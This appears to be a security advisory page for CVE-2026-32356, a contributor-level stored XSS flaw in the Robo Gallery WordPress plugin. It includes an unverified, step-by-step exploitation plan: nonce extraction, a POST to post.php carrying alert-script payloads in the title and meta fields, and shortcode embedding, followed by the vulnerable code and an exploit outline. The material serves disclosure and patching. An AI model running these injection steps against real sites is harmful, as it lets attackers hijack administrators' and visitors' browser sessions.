CVE-2026-32356

Robo Gallery <= 5.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.1.3
Patched in
61d
Time to patch

Description

The Robo Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.2
PublishedFebruary 14, 2026
Last updatedApril 15, 2026
Affected pluginrobo-gallery

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-32356 (Robo Gallery Stored XSS) ## 1. Vulnerability Summary The **Robo Gallery** plugin for WordPress (versions <= 5.1.2) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize and es…

Show full research plan

Exploitation Research Plan - CVE-2026-32356 (Robo Gallery Stored XSS)

1. Vulnerability Summary

The Robo Gallery plugin for WordPress (versions <= 5.1.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize and escape gallery settings and metadata before rendering them in the admin dashboard and on the front-end via shortcodes. Specifically, an authenticated attacker with Contributor-level permissions or higher can inject malicious JavaScript into gallery configuration fields (stored as postmeta). When an administrator or any site visitor views a page containing the gallery, the script executes in their browser context.

2. Attack Vector Analysis

  • Vulnerable Post Type: robo_gallery (defined by the constant ROBO_GALLERY_TYPE_POST).
  • Endpoint: wp-admin/post.php (Standard WordPress post/meta update) or the plugin's AJAX save handlers.
  • Vulnerable Parameters:
    • post_title (if the plugin echoes it without escaping in the gallery view).
    • Meta fields prefixed with robo_gallery_, such as robo_gallery_gallery_type_source or image-specific metadata.
  • Authentication: Required (Contributor+). Contributors can create and edit their own robo_gallery posts.
  • Preconditions: The attacker must be able to create or edit a robo_gallery post and place its shortcode [robo-gallery id="..."] on a page they can publish (or wait for an admin to view the gallery).

3. Code Flow

  1. Input: A Contributor sends a POST request to wp-admin/post.php with action=editpost, including a malicious payload in the title or meta_input.
  2. Storage: WordPress (or the plugin's save_post logic) saves the payload into the wp_posts table (for title) or wp_postmeta table (for settings).
  3. Retrieval: When the shortcode [robo-gallery] is processed, the plugin calls get_post_meta to retrieve gallery settings.
  4. Sink: The plugin uses rbsGalleryClassView::render (defined in app/class.view.php) to extract these variables into a template.
  5. Execution: The template (e.g., in extensions/galleryType/) echoes the retrieved meta values without using esc_html() or esc_attr(), leading to XSS.

4. Nonce Acquisition Strategy

To save changes to a gallery, a Contributor needs a valid WordPress _wpnonce.

  1. Identify Entry Point: Contributors can access the "Gallery" menu in the WordPress dashboard.
  2. Create Post: Create a draft gallery to get a valid Post ID.
  3. Navigate: Use browser_navigate to wp-admin/post.php?post=[ID]&action=edit.
  4. Extract Nonce: Use browser_eval to extract the _wpnonce from the hidden input field in the #post form.
    • JavaScript: document.querySelector('input[name="_wpnonce"]').value
  5. AJAX Nonce (Optional): If the plugin uses AJAX for settings, the nonce is often localized in a script. Based on app/class.listing.php, look for the variable robo-gallery-lising-js or similar in wp_localize_script.

5. Exploitation Strategy

Step 1: Create a Gallery Post

Use WP-CLI to create a gallery post as a Contributor.

wp post create --post_type=robo_gallery --post_status=publish --post_title="Initial Gallery" --post_author=[CONTRIBUTOR_ID]

Step 2: Extract Nonce and Post ID

Navigate to the edit page of the newly created gallery to capture the _wpnonce.

Step 3: Inject Payload via editpost

Send a POST request to wp-admin/post.php to update the gallery with XSS payloads.

HTTP Request:

  • URL: http://[TARGET]/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
action=editpost
&post_ID=[GALLERY_ID]
&_wpnonce=[EXTRACTED_NONCE]
&post_title=Test Gallery <script>alert('XSS_IN_TITLE')</script>
&meta_input[robo_gallery_gallery_type_source]=<script>alert('XSS_IN_META')</script>
&meta_input[robo_gallery_gallery_type]=grid

Step 4: Embed Gallery in a Public Page

As the Contributor, create a public page that renders this gallery.

wp post create --post_type=page --post_status=publish --post_title="Gallery Page" --post_content='[robo-gallery id="[GALLERY_ID]"]'

Step 5: Trigger XSS

Navigate to the URL of the "Gallery Page" as an unauthenticated user or an Admin to trigger the execution.

6. Test Data Setup

  1. Users:
    • Contributor: username: contributor, password: password123
  2. Plugin: Robo Gallery (slug: robo-gallery) version 5.1.2 installed and active.
  3. Content: One robo_gallery post and one page post containing the shortcode.

7. Expected Results

  • When the page containing the [robo-gallery] shortcode is loaded, a browser alert dialog should appear with the text 'XSS_IN_TITLE' or 'XSS_IN_META'.
  • Inspection of the page source should show the raw <script> tags injected into the HTML without being encoded as &lt;script&gt;.

8. Verification Steps

  1. Verify Storage: Use WP-CLI to check if the payload is in the database.
    wp post get [GALLERY_ID] --field=post_title
    wp post meta get [GALLERY_ID] robo_gallery_gallery_type_source
    
  2. Verify Output: Use http_request to fetch the public page and grep for the script.
    # Use the http_request tool and check for:
    # <script>alert('XSS_IN_TITLE')</script>
    

9. Alternative Approaches

  • Image Title XSS: If the gallery settings are sanitized, try injecting the payload into the "Title" or "Caption" of an image attached to the gallery. This is often handled via the wp_ajax_robo_gallery_save_image_data (inferred) AJAX action.
  • Admin Dashboard XSS: Check if the payload executes in wp-admin/edit.php?post_type=robo_gallery. app/class.listing.php suggests custom columns are added. If any of these columns (like a "Gallery Preview" or "Description") echo meta, the XSS will fire when an Admin views the gallery list.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Robo Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 5.1.2. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into gallery configuration fields or post titles, which then execute in the browser context of any user viewing the gallery.

Vulnerable Code

// app/class.utils.php line 125
static function getSourceGallery($galleryId = 0)
{

    $fieldName   = ROBO_GALLERY_PREFIX . 'gallery_type';
    $galleryType = '';

    if (isset($_GET[$fieldName]) && $_GET[$fieldName]) {
        $galleryType = preg_replace("/[^A-Za-z-0-9]/", "", $_GET[$fieldName]);
    }

    if (!$galleryId) {
        $galleryId = self::getIdGallery();
    }

    if ($galleryId) {
        $galleryType_temp = get_post_meta($galleryId, $fieldName . '_source', true);
        if ($galleryType_temp) {
            $galleryType = $galleryType_temp;
        }

    }
    return $galleryType;
}

---

// app/class.view.php line 30
public function render($template, array $vars = array())
{
    $templatePath = $this->templatePath . $template . '.tpl.php';

    if (!file_exists($templatePath)) {
        throw new Exception( "Could not find template. Template: {$template}");
    }
    extract($vars);
    require $templatePath;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/robo-gallery/5.1.2/app/app.php /home/deploy/wp-safety.org/data/plugin-versions/robo-gallery/5.1.3/app/app.php
--- /home/deploy/wp-safety.org/data/plugin-versions/robo-gallery/5.1.2/app/app.php	2025-12-28 11:15:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/robo-gallery/5.1.3/app/app.php	2026-02-25 11:00:00.000000000 +0000
@@ -2,7 +2,7 @@
 
 /* 
 *      Robo Gallery     
-*      Version: 5.1.0 - 50521
+*      Version: 5.1.2 - 54264
 *      By Robosoft
 *
 *      Contact: https://robogallery.co/ 
... (truncated)

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level permissions must first create or edit a 'robo_gallery' post type. By navigating to the edit page (wp-admin/post.php?post=[ID]&action=edit), the attacker captures a valid WordPress nonce. The attacker then submits a POST request to wp-admin/post.php using the 'editpost' action, embedding a script payload within the 'post_title' or gallery-specific meta fields such as 'meta_input[robo_gallery_gallery_type_source]'. Once saved, the attacker places the gallery shortcode [robo-gallery id="..."] on a page they can publish. When an administrator or visitor views that page, the plugin retrieves the malicious meta values and renders them without proper sanitization or escaping, triggering the execution of the injected script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.